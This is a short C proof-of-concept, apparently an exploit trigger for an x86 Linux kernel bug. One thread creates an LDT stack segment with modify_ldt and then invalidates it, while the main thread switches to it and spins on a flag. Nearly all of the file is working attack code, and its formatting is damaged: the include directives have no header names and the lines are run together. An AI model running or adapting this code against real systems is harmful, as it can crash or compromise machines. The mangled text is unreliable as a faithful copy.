/* * Copyright 2017 - Ren Kimura (@RKX1209) */ #include #include #include #include "defines.h" int FLAG = 0; void segManipulatorThread() { struct timespec req; struct user_desc new_stack_segment; req.tv_sec = 3; new_stack_segment.entry_number = 0x12; new_stack_segment.base_addr = FALSE_SS_BASE; new_stack_segment.limit = 0xffff; new_stack_segment.seg_32bit = 1; new_stack_segment.contents = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */ new_stack_segment.read_exec_only = 0; new_stack_segment.limit_in_pages = 0; new_stack_segment.seg_not_present = 0; new_stack_segment.useable = 0; new_stack_segment.lm = 0; // Create a new stack segment syscall3 (SYS_modify_ldt, 1, &new_stack_segment, sizeof(struct user_desc)); // Wait for main thread to use new stack segment syscall2 (SYS_nanosleep, &req, 0); // Invalidate stack segment new_stack_segment.seg_not_present = 1; syscall3 (SYS_modify_ldt, 1, &new_stack_segment, sizeof(struct user_desc)); FLAG = 1; req.tv_sec = 15; syscall2 (SYS_nanosleep, &req, 0); exit(); } void main() { struct timespec req; int prot = PROT_READ|PROT_WRITE; int flags = MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE; req.tv_nsec = 0; sys_mmap(FALSE_SS_BASE, MAP_SIZE, prot, flags, -1, 0); thread_create (segManipulatorThread); // Wait for segManipulatorThread to create new stack segment req.tv_sec = 1; syscall2 (SYS_nanosleep, &req, 0); //Set stack segment to newly created one in segManipulatorThread __asm__("mov %%ss, %0;" : :"r" (0x97) ); while (FLAG == 0) {} req.tv_sec = 4; syscall2 (SYS_nanosleep, &req, 0); exit(); }